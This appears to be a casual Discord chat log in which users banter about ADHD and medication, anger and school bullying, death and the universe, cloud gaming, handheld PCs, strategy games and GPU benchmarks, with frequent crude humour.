[austere ruin]

We have so much free time we were ganna turn a old rv into a gaming one

[full fossil]

Unfathomably wrong

taste is preference

Bitter and tart are worse

[manic torrent]

Where I used to work, the HR exec and the Security exec got fired over a weekend and we never found out why 😮

[full fossil]

And also just eat cookies

And I won't be depressed and super chill for hours

[past egret]

right.

[jaunty compass]

I have a super smell dell prebuilt with a PC
It can support a single slot low profile GPU
What card is the best to put into it

[full fossil]

@manic torrent dextroamphetamine is an adhd medication

Take fluoxetine like a normal person smfh

[manic torrent]

correct

[past egret]

because anytime life gets hard you smoke weed just like an alcoholic

[jaunty compass]

Hand over the Adderall

[full fossil]

1050ti

[manic torrent]

oh I also take sertaline 😄

[full fossil]

do you need it or take it for fun

[jaunty compass]

Ah yes
All of the single slot low profile 1050 tis that definitely exist

[austere ruin]

I remember a certain amd has low profile

[manic torrent]

I take it because I have ADHD. It does not have the same affect on me as it does for neurotypical people.

[full fossil]

ah

[full fossil]

https://www.gigabyte.com/Graphics-Card/GV-N105TOC-4GL#kf

[austere ruin]

I just smoke wed

[jaunty compass]

I don't take medication for my ADHD

I probably should be though

[full fossil]

it's also a treatment for narcolepsy, did you know that?

[austere ruin]

Mhm and for your depression too child

[full fossil]

I just gaslit myself into being normal

[past egret]

try to raw dog it, see where it takes you

[jaunty compass]

Since when was I depressed?

[full fossil]

it backfires sometimes

[austere ruin]

Since you were autistic

[jaunty compass]

What?

[full fossil]

Bruh

[full fossil]

F tier bait lmao

[austere ruin]

Fun fact those 2 link more sometimes than you think

[full fossil]

you suck at being a troll

[manic torrent]

I had a good old breakdown and went through three jobs in fairly short order.

A+++ would not recommend

[austere ruin]

I mean I've met almost no one who doesn't have autism that does have adhd

[full fossil]

I have a question for you bob

[jaunty compass]

It runs in my family, but no; I'm not depressed

[full fossil]

Politely talking about depression << “you’re autistic”

[manic torrent]

there are heaps of them, but.... I am not one.

[jaunty compass]

I mean, I probably am
My little brother is

But I'm definitely not depressed lol

Still low tier bait tho

[full fossil]

bob, do you go from suddenly being happy to hating everything?

[manic torrent]

autism/adhd/anxiety.

[austere ruin]

Autism has alot of spectrums there are some that make you overthink put yourself down and yk give you issues its just a domino basicly

[full fossil]

do you sometimes feel a boiling anger that you can't handle?

[manic torrent]

ehhhh, sometimes, I am a bit all or nothing

[full fossil]

.

Manic episodes moment

[manic torrent]

oh, the anger, yeah that's a classic ADHD thing

[austere ruin]

Its a none joking issue that some autistic poeple get miss diagnosed

[manic torrent]

just get suuuuuuper angry

[full fossil]

bro i thought my mom was joking about me maybe having adhd wtf

Hoes mad??
In MY area?!
Sign me up!!!

[slate tulip]

“Noru” - isn’t that what the droids in StarWars say when you killed them?

[jaunty compass]

Basically what happened was that my parents never wanted to get me diagnosed
So by the time I actually go and find out, I'm an adult

[unkempt widget]

damn 😔

[manic torrent]

I was diagnosed at 40.

[unkempt widget]

fun fact: this emoji exists 🫰

[full fossil]

:money2:

I swear the smallest inconvenience will set me off and I feel this anger where I will literally feel like I'm about to explode, and my skin feels like it's stretching

[jaunty compass]

I got diagnosed at 18

[unkempt widget]

it's called hand_with_index_finger_and_thumb_crossed

[full fossil]

I literally have to leave my house because I will get in trouble

[full fossil]

Mood
I dealt with suiting up and fighting a fire on board just fine, but dropping a piece of butter toast butter side down?
Immediate tears

[manic torrent]

oooh yeah dude. seek help. literally.

[past egret]

its supposed to be a small love heart thing

[jaunty compass]

I'm bad at handling anger too, so I definitely understand there

[unkempt widget]

ik

[full fossil]

it's just that it'll build up and build up until i can't handle it anymore then I smash my finger in the door and punch a wall and start screaming at my siblings

Don’t take it out on them they didn’t do anything

They're usually the cause

they think it's funny to constantly pester and bug me

[jaunty compass]

I have a pretty short temper, and my little brother is very irritating. The problem is that I can't really blame him for a lot of the way he acts so I can't take it out on him

[unkempt widget]

i once did an autism test online for fun, and i got aspergers according to the site

[full fossil]

usually it doesnt bother me but sometimes it'll just set me off

[vapid smelt]

https://www.youtube.com/watch?v=-e1_QhJ1EhQ

[manic torrent]

aspergers isn't a thing anymore, it's all autism

[full fossil]

Whelp
As someone who grew up being angry at everyone, my biggest regret as a teenager is being angry at everyone

[unkempt widget]

really?

[full fossil]

and I don't feel bad at all. little fuckers deserved it

[manic torrent]

ASD, Autism Spectrum Disorder

[full fossil]

Get a grip, stinky bot

[jaunty compass]

My little brother will do this thing where he won't leave me alone

He will literally try to break down my fucking door because I shut it on him

[full fossil]

honestly, angry at everyone is pretty relatable

[unkempt widget]

i had a classmate who had autism

had the shortest fuse ever, literally couldn't stop picking fights

[full fossil]

They’d probably fuck with you less if you played along
They’re obviously looking for the reaction you give them

[jaunty compass]

That was me in middle school

[unkempt widget]

i heard a lot of people say that people who had autism are usually good at something

[full fossil]

yeah well they have lots of "fun" when I grab them by the collar of their shirt and scream at them i bet

[jaunty compass]

Guess what

It's really not that easy

[full fossil]

Cringe

[unkempt widget]

whether that'd be mathematics, sciences, history, memorization, or athletic ability

[full fossil]

little fuckers asked for it

[jaunty compass]

Grade school was an absolute nightmare

[unkempt widget]

he had none of it

[full fossil]

I mean if you want praise for being physically and verbally violent you’re not getting it

[unkempt widget]

in his finals, he literally had a blank piece of paper as his final submission for math, except for one question where it said "solve the inequality" and he drew a hammer and sickle

[night heron]

god is good

my amazon package went from being expected on friday to being expected tomorrow

[full fossil]

what if god was one of ussss

[unkempt widget]

at least he has a sense of humor

[full fossil]

In a vacuum that’s funny af

[jaunty compass]

Which one are you talking about ?

[night heron]

in a way we are

all is one and one is all

[full fossil]

What if god was among us

bro what the fuck

[jaunty compass]

Among us?!

[full fossil]

ඞ

I'm gonna be thinking about that all night michael

[night heron]

we are literally not figuratively legitimately the universe observing itself

[timid meadow]

You are your own god

[full fossil]

My honest reaction when the hand of god makes me experience every life that has ever lived in 0.29 nanoseconds

[unkempt widget]

another time he stole someone else's seat (a terrible crime punishable by death here) and then the other person tried to push him out, and then he started resisting
he got really mad after a while and he stood up, held a fist, smashed the desk multiple times with his hand

and then he walked up to a random bystander and jumpkicked him

[full fossil]

Resistance is futile

my genuine face when god hits the griddy

[night heron]

we’re just parts of the universe that happened to clump together and gain sentience

[unkempt widget]

literally he jumped up and then he roundhouse kicked him to the face

and he wasn't even doing anything

[jaunty compass]

Shout-out to the kid that screamed in my ear "fire" as loud as he could when I fell asleep at my desk and made me knock the desk over

[night heron]

and if you think about it

[jaunty compass]

I probably shouldn't say what happened to that kid like a year later

[full fossil]

arsonist?

[unkempt widget]

i was thinking burned down in a fire

[jaunty compass]

He was a football player and died of heat stroke because they were practicing in high heat and high humidity

[full fossil]

oh.

Fuck

[unkempt widget]

oh fuck

[full fossil]

that's not good

That sucks

That is, indeed, suboptimal

[unkempt widget]

really? couldn't tell

sorry i had to

[full fossil]

you're welcome

[night heron]

our consciousness is a one time finite anomaly but the universe is an infinite loop as far as we know

you were “dead” for an infinite amount of time before you were “born”

[jaunty compass]

Personally, I'm biased and really didn't like the guy. Obviously I'm not glad he's dead

[night heron]

and it wasn’t so bad

[jaunty compass]

But I can't say I really care that he's dead

[full fossil]

michael stop it

[night heron]

we’re just here for a little party and then we go back to the way we were before

“dead” for an infinite amount of time

it’s not something to fear

[full fossil]

michael please stop

Bro’s experienced the void and does not fear the return

I had ramen for lunch

I've experienced the void, overrated

[night heron]

death doesn’t scare me it just annoys me

[unkempt widget]

you're saying that and you just said some really daunting stuff right before

[night heron]

pisses me off tbh

[unkempt widget]

"aw man! my dad just died! don't you hate it when that happens" - michael probably

[full fossil]

elaborate

[timid meadow]

Humans are weird. Ones pit of endless void is anothers field of rainbows

[manic torrent]

or at least, that's our best guess, so we might as well go with it

[night heron]

i’m not scared of being dead because you can’t experience being dead but i want more time being conscious because it’s fun

[full fossil]

I'm not afraid of dying

[past egret]

ok

[jaunty compass]

What's crazy is that it wasn't the last death in my graduating class

[full fossil]

Being dead is just like being asleep with no dream.

[night heron]

i guard my life because life is fun not because i fear being dead

[full fossil]

[full fossil]

I'll be at peace

[past egret]

people that isnt afraid of dying when i point a shotgun to their face:

[timid meadow]

Im not afraid of death or being dead. The process of dying, however, is spooky

Especially if slow

[full fossil]

It was good ramen

[manic torrent]

I don't really want to die right now, but being dead is fine

[night heron]

yeah dying sucks but being dead itself is something you can’t experience

[full fossil]

yeah

[unkempt widget]

damn but i'm midway through a game

[jaunty compass]

But yeah
Grade school sucked

[unkempt widget]

i don't wanna die

[full fossil]

You’re midway through THE game

My goal is just to enjoy life before I die

[unkempt widget]

DAMMIT I LOST

[full fossil]

I have a long time before I'm gone

[jaunty compass]

I got attacked in the bathrooms
They literally broke down the stall door just so they could harass me 💀

[night heron]

i don’t wanna die either man being conscious is fun

[unkempt widget]

NOOOOOO

[full fossil]

[night heron]

dying would piss me off

[jaunty compass]

Basically, grade school is like a cod lobby but worse

[unkempt widget]

but you won't be conscious

[manic torrent]

how about live a fulfilling life you can be proud of

[jaunty compass]

Actually wait I just realized that sounds really bad

[night heron]

yeah you can’t experience being dead

[jaunty compass]

I just remembered I live in the United States

[full fossil]

Avg american grade school

[unkempt widget]

💀

[night heron]

but let’s say i was shot and it’s fatal and i have 5 minutes of dying

id be pretty pissed off in that time

[jaunty compass]

Yeah, no I just realized that

[full fossil]

I should've said that

[manic torrent]

yeah, everyone gearing up with war stuff

[timid meadow]

Thats the scariest part about it. You cant imagine not existing.

[full fossil]

you can

[night heron]

imagining requires consciousness

[manic torrent]

oh, I can imagine it alright.

[full fossil]

you already know how nothing feels.

[jaunty compass]

Just stop imagining, there easy

[night heron]

you can’t experience death because you’re not conscious to experience it

[full fossil]

You can’t experience deez nuts

[night heron]

do you remember the infinite amount of time that you didn’t exist before you were born?

[full fossil]

whenever you sleep without dreaming, that's feeling nothing. I enjoy it actually

[night heron]

you don’t, but it happened anyway

[jaunty compass]

Do You remember the 21st night of September?

[timid meadow]

Howso? Legit question. Because when i think of it all i can think of are the effects of my death. I cant quite wrap my head around not having thoughts

[night heron]

do you remember remember the fifth of november

[full fossil]

Ah ah AH HAYEEAH

[full fossil]

The problem is you’re trying to wrap your head about not having a head to wrap

[manic torrent]

My brain doesn't work like most peoples - I am somewhat detached.

also because I did foster care for 15 years, I am even better at compartmentalising

[night heron]

you experience death every day of your life

[full fossil]

You're trying to imagine not imagining

[full fossil]

sleep.

[night heron]

well you’re not experiencing it

[night heron]

but you can use sleep as a preview to what it’ll be like

[full fossil]

Yay I didn’t die wooooo

[timid meadow]

Not quite though. Sleep has brain activity

[full fossil]

thats what i said lol

That’s an achievement

[full fossil]

not perceived to you

[night heron]

yeah but if your consciousness is dormant then it’s basically the same thing

without consciousness you can’t experience anything and that’s how death is

[timid meadow]

Arguably. Isnt there a subset of people who know their in a dream and can control it to an extent?

[manic torrent]

yep. And "death" isn't the same as what it used to be

[manic torrent]

lucid dreaming yes. But typically

[full fossil]

I can. I prefer when I don't lucid dream

[night heron]

you only dream in rem sleep not deep sleep

death is like when you go to bed and wake up the next day and you don’t remember having any dreams

it’s just blank

[manic torrent]

.. but you never wake up

[timid meadow]

Ive always wanted to lucid dream but never could. Came close a couple times and briefly realized i was dreaming but never to a point where i had any say in it

[night heron]

i was pretty good at not existing for..

[manic torrent]

hands and faces. For the same reason AI sucks at hands and faces.

[night heron]

either 13 billion years or an infinite amount of time depending on which theory you believe in

doing it again won’t be so bad

[manic torrent]

both

[full fossil]

depends on if you believe in the big bounce

[jaunty compass]

We truly are AI

Also text
We're bad at text too

[night heron]

the big bang happened we just don’t know why

[jaunty compass]

You can't really read in a dream, so text will change too

[night heron]

that’s the point of contention, not whether it happened or not

some people who believe in god believe that god caused the big bang and that’s how he made the universe

[jaunty compass]

Cosmic taco bell

The explanation is the cosmic taco bell

[full fossil]

some people believe he created it in a few days

[night heron]

yeah which doesn’t make any sense to me

[timid meadow]

My brains still on ddr2 ram. I have little short term memory lol

[night heron]

if god is omnipotent and omniscient he could craft the universe instantaneously

why did he take his time and need a rest day

[jaunty compass]

Because Christian God is a dick

[cosmic coyote]

I believe in nvidia RTX

[manic torrent]

small child with a magnifying glass on an anthill

[full fossil]

yeah lol

[night heron]

i don’t believe in the simulation theory but if it’s true then this isn’t far off

[timid meadow]

Homie really said bow to me or ill drown a planet.

[cosmic coyote]

Amd believers are heathens

[jaunty compass]

Small child with an ant farm and ant eggs more like

Fucker is like
"I know you'll do something in the future I'll punish you for eternity over.....but I'm gonna do it anyway"

[full fossil]

if the universe was a simulation that means you will never have eternal peace

[night heron]

born too late to live in blissful ignorance, born too early to explore the stars, born just in time to argue about amd or intel on discord

[timid meadow]

Tru

[night heron]

i think in the far future they’ll segment history into two parts

before the internet and after

[full fossil]

yeah.

[night heron]

it’s changed our world forever

and it’s an exponential growth

[full fossil]

born too late to explore the world, born too early to explore the stars, born just in time to have an existential crisis

[timid meadow]

3 parts. We are still transitioning into internet. As odd as that may seem, the grey area is bigger then we will see in our lifetimes

[night heron]

the only reason humans are smarter than other animals is because of our complex communication skills and passing knowledge down to future generations

[full fossil]

and pattern recognition

[night heron]

the internet connected the globe and gave us a place to store knowledge

our intelligence is going to skyrocket exponentially

[full fossil]

that's the idea, but I doubt it

[jaunty compass]

As soon as we figure out how to stop spreading disinformation and misinformation, maybe

[unkempt widget]

ants can also communicate relatively complexly

[jaunty compass]

We sabotage ourselves

[full fossil]

Everyone has the access to infinite information and some choose to shake their ass on the internet for money

[timid meadow]

Certain people's intelligence sure. But you can't fix stupid

[night heron]

i think that’s pretty based

minimal effort maximum profit i respect the hustle

[jaunty compass]

I just have a guy in Japan sending me stuff to resell here in the US

[full fossil]

I think that we as a species are progressively becoming dumber

[jaunty compass]

Like beyblades or old consoles

[night heron]

yeah i don’t mean the average iq or anything

just our knowledge base as a species is skyrocketing

[full fossil]

that's what you implied

I agree now

[night heron]

how are you gonna tell me what i implied

[full fossil]

I misunderstood you lol

[night heron]

you’re not in my head

[tender geyser]

Klaus Schwab is going to take our power away

[full fossil]

or am i

[jaunty compass]

I am in your walls

[tender geyser]

We will all die terrible deaths…

[full fossil]

yeah so shut up and eat your lollipop

[jaunty compass]

Idk who that is lol

[night heron]

forgot to reply to this but i agree

[light condor]

just word counted a forum response i wrote and it detected plagiarism somehow

[jaunty compass]

Ah yes

We will enter the metaverse

[night heron]

we’re still using desktops and keyboards and mice and monitors

those are going to be jurassic age technology in short time

[tender geyser]

Some old fart that says in the next 2 years we will undergo a massive cyber attack or something

[night heron]

you’ll be directly connected to the internet with neural implants

[tender geyser]

I think he’s the guy that said it

[night heron]

you won’t need interface tools

[full fossil]

I refuse

[full fossil]

soon we'll be interfacing with purely thoughts

I refuse

[jaunty compass]

VR chat 2

[light condor]

I miss the good old days of having to overcook a boiled egg every week so I could replace my mouse ball

[night heron]

and by you’ll be connected i don’t mean us personally

[jaunty compass]

(the sequel)

[night heron]

i’m talking future generations

[unkempt widget]

holy shit imagine if something can just detect what you're thinking at the moment

that would be so awkward lmao

[manic torrent]

nah modern history more or less starts a the industrial revolution

[full fossil]

That would be bad

[timid meadow]

I mean in the sense that quality internet is still considered a luxury. When every home has quality internet just like they do water (in most places ugh i know). THAT will be the internet age

[light condor]

don't that have that with drones

[jaunty compass]

With the quirky billionaires we have right now, it might be us personally

[manic torrent]

this is far too abstract.

[jaunty compass]

And by quirky I mean batshit insane

[light condor]

https://youtu.be/hLjxMjBlB9k

[unkempt widget]

no i mean like it just detects your opinion of everything

[full fossil]

I seriously hate to be that person
But internet is more accessible than clean water on a global scale

[manic torrent]

Some places have internet that don't have water.

[full fossil]

that'd be reading your mind

[manic torrent]

your overall mood? sure.

[light condor]

water is a luxury

[unkempt widget]

yeah kind of

[timid meadow]

Yea i know that's why the parentheses are there but like damnit im tryin

[jaunty compass]

The moment I enter an apple store I just get shot at

the next two milestones of mankind’s development are the acceptance and use of human genetic modification, and taking advantage of true artificial intelligence

[jaunty compass]

They activate the fucking

cyberpunk type internet

[full fossil]

where you just think of what you want to do

[jaunty compass]

In 2077 what makes someone a criminal

[night heron]

genetic modification probably won’t happen for a while though because of religious backlash and our societal structure

[timid meadow]

"Entire workforce murdered after new policys take place overnight. HR execs be like "oh no who could have seen this coming""

[jaunty compass]

They just send a nuclear warhead at Louis Rossman the moment he enters the store

[unkempt widget]

imagine cyberpunk 2077 quickhacks but irl

[night heron]

if we made it so everyone lived several hundreds of years then overpopulation would run rampant and the government would either have to forcefully sterilize you or force everyone into living in dense cities on vegan highly gmo diets

or both

[full fossil]

hey everyonee

[night heron]

both will probably happen eventually anyway

[full fossil]

I'd rather die

[unkempt widget]

overpopulation is a myth

[jaunty compass]

You would have to move to Nunavut Canada

[night heron]

not if everyone was living 2-500 years

[jaunty compass]

The worst fate imaginable

The population density is literally 0.2 people per kilometer squared

[unkempt widget]

humans can live very densely to each other, it's just that a lot of people are shit at managing their own population

[full fossil]

there's a really good trilogy about overpopulation in a world of immortality @night heron

[timid meadow]

Bro im mad about 80yr old politicians. I dont want people in government using dsl when ive got my implants and cyber gear

[jaunty compass]

There is almost nobody in Nunavut

[night heron]

as i said everyone would have to live in very dense cities and live on gmo vegan diets

[jaunty compass]

Literally 40,000 people in a place the size of Mexico

[night heron]

both of which are going to happen eventually btw

[jaunty compass]

Without including the water

[night heron]

not in our lifetime but eventually

animal farming is incredibly inefficient

@night heron you should read a book named scythe

[night heron]

eventually it’ll be phased out entirely

and eventually farms will be controlled by governments with civilians being put into dense cities

[jaunty compass]

Ayaneo keeps making new products when nobody is buying their current ones lol

[night heron]

its the only ways to combat overpopulation

[timid meadow]

I was gunna just reply with "who?" But i guess thats your point....

[night heron]

i love ayaneo but i have no use for any of their handhelds

[jaunty compass]

They made a handheld that just copies gpd's design of the sliding screen

[full fossil]

god im so tired, gn im gonna lay down

[jaunty compass]

The ayaneo handhelds are cool and all

But I have a steam deck

And don't want to spend $1200 on a handheld PC

[night heron]

steam deck is objectively worse but a lot cheaper

[jaunty compass]

I feel like the price makes up for the fact that it's not as good

[full fossil]

Sleep tight

[timid meadow]

I was gunna get a steam deck then my rent went up upon re-signing my lease and there went that spare money

[night heron]

it does

steam deck is really high value when compared to $800-1200 devices

[jaunty compass]

It's a very significant price difference.
And the actual difference in performance and features is nowhere near large enough to make that extra money worth it if you say, buy the 64 gig and put a 1tb SSD into it for $500 total

[jaunty compass]

The steam deck beats a lot of devices in those ranges at lower power targets

[unkempt widget]

also you could use it to game on cloud

[jaunty compass]

The steam deck has really good performance at low wattages currently

I posted a thread in Tech Support about my EVGA hybrid kit. If anyone could offer some more insight into whether or not my pump is dying, it would be greatly appreciated.

Cloud gaming is a meme

The best use case for cloud gaming is also the one where you literally can't use it

Like on a train or in the car

You need a stable connection for cloud gaming, mobile data is really bad at giving a consistently stable connection

[night heron]

if you’re stationary cellular is pretty good

[jaunty compass]

And most trains or cars I've ever been in don't have wifi. And the cars that do also use mobile data based wifi hotspot solutions

[night heron]

but yeah going 200mph on a magnet train you’re not gonna have a stable connection

[jaunty compass]

Cloud gaming is only good if you're like in bed or something

[fluid ridge]

or if you have starlink

[jaunty compass]

And at that point why would you game over the cloud

When you could just lie down grab a controller and game on your TV or monitor or whatever

[night heron]

cloud gaming is actually the future but by future i mean in like 50 years time

[jaunty compass]

I very much disagree about cloud gaming being the future

[night heron]

not now

[fluid ridge]

will gaming even be a thing in the future

[night heron]

and it won’t look anything like what we use now

[unkempt widget]

definitely

[timid meadow]

Cloud gaming is nice for trying new games and for doing tedious stuff that doesnt require low latency. Ill grind forza skill points at work for example

[hot loom]

I honestly might need to if my gpu goes bad. I'd just upgrade my internet to gigabit and get the 4080 geforce now thing

[finite cloud]

All you need is a really good internet connection, a device that can handle modern streaming, a really good gaming pc setup to stream or a game steaming subscription

But then it’s like, way more convenient than having a portable pc or gaming laptop

[jaunty compass]

The sticking point is having a really good internet connection

[unkempt widget]

canadians after seeing cloud gaming: am i a joke to you?

[night heron]

the issue with cloud gaming is that you can’t defeat ping

[jaunty compass]

Where I live that is literally not possible

[slate tulip]

That’s what a steamdeck is for

[night heron]

packets take time to travel distance and you can’t avoid that

[jaunty compass]

They literally would not take our money to dig us a fiber line

They actively refused

I had to get starling because the only other option was 5 megabit DSL

[hot loom]

Is Gigabit internet good enough for Geforce Now?

[jaunty compass]

*starlink

[finite cloud]

May I present the solution to game streaming

[jaunty compass]

For cloud gaming what is really important is a consistent connection more than a super fast one

[night heron]

at least unless we find a way to bypass the speed of light for internet traffic

[jaunty compass]

And distance from the actual data centers

[unkempt widget]

it's always been enough

sorry i had to do that

[finite cloud]

Always has been

[jaunty compass]

You need consistently low latency and need to be close-ish to a data center for cloud gaming to work well

[timid meadow]

I play xbox cloud stuff no problem on 80down 5up. Gigabit is definitely ok

[hot loom]

I mostly play Single Player games like Cyberpunk, God of War, and Miles Morales so I think I'd be fine with cloud gaming. I also really love pretty graphics which is why I always go for the highest end GPUs

[jaunty compass]

Cloud gaming can work well

But frankly I hate the current implications it could have if it were widely adopted and don't think it's feasible to be widely adopted

[unkempt widget]

imagine having 200 ping in a multiplayer game but you're on cloud

[jaunty compass]

If cloud gaming were to be widely adopted
It means that there could be games that are entirely lost when there's a copyright dispute or service shutdown

[timid meadow]

Youll have to lower your graphics expectations depending on your internet. But single player allows for more latency without noticing it much so good luck 🙂

[timid meadow]

My biggest worry

[jaunty compass]

As a media preservationist. I hate the possibility that everything could be kept server side

[hot loom]

I think it'd go better if we didn't have to rely off of companies who are simply developing all of these products for the sake of money.

The biggest innovations like microchips, the internet, touch screens, etc have all came from government funded projects.

[jaunty compass]

I don't think cloud gaming will ever really take off anyway

[unkempt widget]

me neither

[finite cloud]

It never really has

[jaunty compass]

I'm glad it probably won't take off

[hot loom]

I think that it will; given that the majority of gamers now are mobile gamers anyway.

[unkempt widget]

it's not very practical

[jaunty compass]

I think you are very wrong

[hot loom]

On the point of taking off or that the majority of gamers are on mobile devices?

[jaunty compass]

On the point that you think it will take off

[finite cloud]

Yeah because Genshin impact and subway surfers are the best games

[unkempt widget]

ew

both mid games

[finite cloud]

I prefer one over the other, and hint it’s not the one with anime girls

[unkempt widget]

ah so genshit

[fluid ridge]

right but they came from companies who only did it for the money, government funded or not

[jaunty compass]

I played genshin impact fort about 2 hours the week it came out and never played it again

[unkempt widget]

we all knkow subway surfers is full of anime girls

[jaunty compass]

It's not objectively bad, but I didn't really like it

[finite cloud]

I played it too much before I stopped

[fluid ridge]

genshin is actually spyware

[unkempt widget]

gacha?

[jaunty compass]

I was referring to the gameplay mechanics

[finite cloud]

But anyways yeah unless you plan to play that or crossy road or something mobile gaming aint it

[jaunty compass]

I never touched the gacha system

[hot loom]

I think that it will because it is the direction that big companies are increasing going into. And it makes financial sense for them to do so, given that it would allow them to have a steady stream of revenue whose cost they could freely adjust with inflation. As opposed to the modern PC which encourages flat payments which are less beneficial long term for a company.

And I'm not saying this is a good thing; because it just demonstrates the point that businesses will do everything in their power to make you own less and them own more.

[jaunty compass]

The thing about that is that these cloud services always fail because the people are rightfully skeptical of using them

[finite cloud]

Gaming phones or phones in general need more pc games before I will consider the mobile market competitive

[hot loom]

As a wise man once said "There's no I in team, but there's con in economy."

[fluid ridge]

the mobile phone is the biggest gaming platform in the world by far

[unkempt widget]

i feel like you could "there's no i in team" as an excuse to slack off

[fluid ridge]

there are more games played on phones than any other device, console, or computer

[unkempt widget]

because "I" am not in team, so why should i do anything

[fluid ridge]

unless there is a drastic paradigm shift, pc games will never go to mobile

[jaunty compass]

Not to mention that with how inconsistent Mobile cloud gaming is for a ton of people who don't have amazing internet connections. I don't think people will really actually use it to make it viable for companies to switch to

[fluid ridge]

unless you want a diablo immortal

[jaunty compass]

Stadia flopped hard

Realistically, it was probably the most viable cloud gaming was.

After the first couple months, I heard really good things about its performance; and it was still a storefront where you could buy games

[hot loom]

If we're going to be philosophical, you are part of a society. That society, comprised of millions of individuals, grows the food you eat, transports it to you, paves the roads you use to get to the place, develop the car, train, and bus you use to get to it, and the list goes on.

While you're not part of a team, you are dependent on a society and that society in turn is dependent on people like you. Hyper individualism is an issue

[polar fern]

I’m a fan

[unkempt widget]

that was ajoke

[jaunty compass]

But the problems were those first couple months and the fact that it was cloud gaming which has a horrible track record

Basically. Cloud gaming will probably never really take off

[scenic geyser]

I don’t think that’s getting proper cooling maybe more fans?

[jaunty compass]

It probably already blew its best chance, too

[polar fern]

Yeah way too few fans

[unkempt widget]

joks aside there is no exhaust fan in the pack there

also the front panel is tempered glass, meaning it blocks airflow

[jaunty compass]

Ah yes
The sequel to that one Ramses case GN roasted

[hot loom]

Because Google is a shit company that has literally no experience in game developing. They just grabbed a group of highly prominent developers who weren't employed by Intel, Microsoft, Nvidia, and Co and tried to introduce themselves into a market where there was already an oligopoly.

Corporations are territorial; and Nvidia and Microsoft came out with their own crap because they actually had the resources and trademarked secrets necessary to make their products.

[jaunty compass]

GeForce now existed way before stadia

Like

It started in 2015

[hot loom]

I forget the timeline of that shit; but even further proves my point. Which is why Intel is going to keep getting shit on in GPU tech

[jaunty compass]

Microsoft made xcloud because they already had a bunch of online infrastructure for cloud PCs and things and saw other companies doing it. But I don't think cloud gaming will ever actually really become mainstream

[hot loom]

Who knows; the world will probably end before we even have time to care

[tender geyser]

The great reset

[hot loom]

Nah, there are cosmic laser beems shooting gamma radiation across the universe. They come from neutron stars and black holes, and if one hits the planet that's it. No time to react because they're travelling at light speed.

So the end of the world can happen at any moment

[tender geyser]

How do we even know all this crazy stuff man

[hot loom]

Scientists smoking weed and staring at the sky for a long while

And writing numbers to explain it

[tender geyser]

Like how do we know the mass of the sun or whatever

You can’t even get close to it

[unkempt widget]

anyways

what mouse do you have

[hot loom]

Don't need to, because we can use math through calculating density (Which itself can be checked by wavelength frequencies of light) and gravity. We can calculate what elements are present and what math is necessary to explain the observed behaviour of celestial bodies

[tender geyser]

Ok

[unkempt widget]

i had an rog gladius 2, but then the rubber on the side of it wore off, so i switched to a mouse that was ironically half its price
it's a glorious model d

it feels really good though, much better than my old mouse

now i have 2 stickers that came with my mouse that's on my keyboard

[hot loom]

I used to have a razer deathadder, that ever increasingly became shitty and razer became a shitty company. So I trashed it

[unkempt widget]

[hot loom]

Though I honestly rarely play with mouse and keyboard because I have a PS5 controller

[unkempt widget]

what did razer do

[unkempt widget]

what games do you play

[hot loom]

Their software is a piece of shit

[hot loom]

Halo Infinite, God of War, Cyberpunk, Miles Morales, EU4, and Civ 6

Also Cod and Fortnite sometimes

[unkempt widget]

ayo you also play eu4 and civ 6

i only have 6 hours on eu4 though

[tender geyser]

Orochi v2 would be the perfect mouse if it was just a tad bigger

[unkempt widget]

but i have like 120 hours on vic3 and like 250 on hoi4

how do you even play eu4 on a controller

[hot loom]

I've had it in my library forever before a friend of mine explained how to play it and I got addicted. Plus, there's a 5 dollars a month subscription to all the DLC

[unkempt widget]

oh yeah that's a killer deal

[hot loom]

I'm at 248.7 hours on eu4

[unkempt widget]

sheesh

[hot loom]

That's nothing compared to my 2539.2 hours on Civ 6

[unkempt widget]

[unkempt widget]

what's your favourite civ

[hot loom]

Either Byzantium or Rome

[unkempt widget]

hopefully you're talking about trajan rome

if you're talking about the new caesar rome i will block you

[hot loom]

I like the roads

Trajan is my favourite

[unkempt widget]

i've never seen anyone who like rome because of the roads

but sure

[hot loom]

I don't play the game for like "winning". I use it as a little empire builder. I use a bunch of cheat mods and basically just create a utopia that follows the mold of the Roman Empire

[unkempt widget]

i like the yields

sometimes the game just is so satisfying when you hit 200 production in 1 city

[hot loom]

So I play an the Europe map with TSL on Huge, and place cities according to historical authenticity. So I'll put Ravenna, Genoa, Brundisium, Cumae, etc. in the closest possible spots that make sense

[unkempt widget]

lmso

i love that

[hot loom]

First thing I do when starting a game is delete the other ai civ (Normally Sweden), and just fill out the map

Possibly dumb question, but how come there is a “windows hyper v server” 2019 edition but not a 2022 edition like windows server? Does it just come out later or are they not bringing out another edition?

[graceful burrow]

Hi

[unkempt widget]

it's biased towards nvidia

[mossy pendant]

hows it biased?

[slate tulip]

I always hear this in discord. All the benchmarks sites are biased against AMD, Intel pays them, etc

[mossy pendant]

ah

cant wait till LTT labs is finally up and running

[slate tulip]

But no one ever gives proof or submits their own science-based testing

[mossy pendant]

at full capacity, so we don't have to put up with this shit

[full fossil]

looks pretty accurate :V
Radeon RX 7900 XTX is in third place

[slate tulip]

Like, take a given comparison from a benchmark site, and run your own tests. Ideally, come up with a scoring system and test multiple CPUs and compare the relative scores to the relative scores from the benchmark site you claim is lying. Publish your tests and scoring metrics so it can be peer-reviewed and independently tested

[unkempt widget]

also synthetic benchmarks aren't good because 4070ti does not outperform an rx 7900xt in real life situations

[full fossil]

How much have you spent on tinfoil in the last few years

[slate tulip]

I’m curious - what are you calling “synthetic benchmarks” and what are you calling “real life situations”?

[slate tulip]

I’m pretty sure I bought a huge roll at costco over 5 years ago and haven’t since - why?

No tinfoil about it - i could get you the actual conversations where those claims were made

[full fossil]

hey, if u have better idea how to make benchmarks, lets make a new site xP

[slate tulip]

Except I’m not the one claiming there’s an issue with existing ones

So i have no incentive

[unkempt widget]

synthetic benchmarks is usually just a score, kinda like cinebench but a bit worse

real life situations would be fps in games, render times in blender and davinci resolve, etc.

[fierce moth]

Heya everyone

[slim mirage]

I'm gonna be biased against AMD as I always had a garbage experience on my older pcs and not had these problems since changing to Nvidia but I'm pretty sure most of the issues I had would be resolved now

[slim mirage]

What do you plan on doing with it

[unkempt widget]

i feel like there really is no good gpu brand that is mainstream

[limpid hamlet]

Ya I've been using amd for about 4years now they have definitely improved

[unkempt widget]

ngreedia and amshit

[slate tulip]

Right, but the score is often relative and meaningful. If you say “play X game at Y settings, at Z resolution, then apply this formula to the results” and you apply it equally to everything, it’s meaningful

[unkempt widget]

but i like amd cpus, especially their ryzen 7000 non-x's

radeon was good last gen

[slate tulip]

Intel

[full fossil]

